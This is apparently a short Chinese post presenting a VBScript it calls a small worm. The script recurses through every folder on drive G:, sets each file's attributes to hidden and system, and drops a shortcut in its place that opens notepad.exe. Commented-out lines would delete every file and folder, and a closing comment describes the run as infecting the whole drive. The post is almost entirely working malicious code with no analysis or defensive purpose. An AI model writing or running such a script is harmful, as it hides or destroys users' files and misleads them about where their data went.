vbs实现的一个小蠕虫

Sub     CreateShortcut(path)
    Set WshShell = Wscript.CreateObject("Wscript.Shell")
    Set Shortcut = WshShell.CreateShortcut(path&".lnk")
    Shortcut.TargetPath = "notepad.exe"
    ShortCut.Hotkey = "H"
    ShortCut.Save 
End sub
Function FilesTree(sPath)    
'遍历一个文件夹下的所有文件夹文件夹    
    Set oFso = CreateObject("Scripting.FileSystemObject")    
    Set oFolder = oFso.GetFolder(sPath)    
    Set oSubFolders = oFolder.SubFolders    

    Set oFiles = oFolder.Files    
    For Each oFile In oFiles    
        WScript.Echo oFile.Path    
        'oFile.Delete    
        Set f=oFso.GetFile(oFile.Path)
        f.Attributes=2+4 '隐藏当前文件
        CreateShortcut(oFile.Path) '创建当前文件的快捷方式,并且指向notepad.exe程序
    Next    

    For Each oSubFolder In oSubFolders    
        WScript.Echo oSubFolder.Path    
        'oSubFolder.Delete    
        FilesTree(oSubFolder.Path)'递归    
    Next    

    Set oFolder = Nothing    
    Set oSubFolders = Nothing    
    Set oFso = Nothing    
End Function    

FilesTree("G:\") 
'感染G盘下的所有文件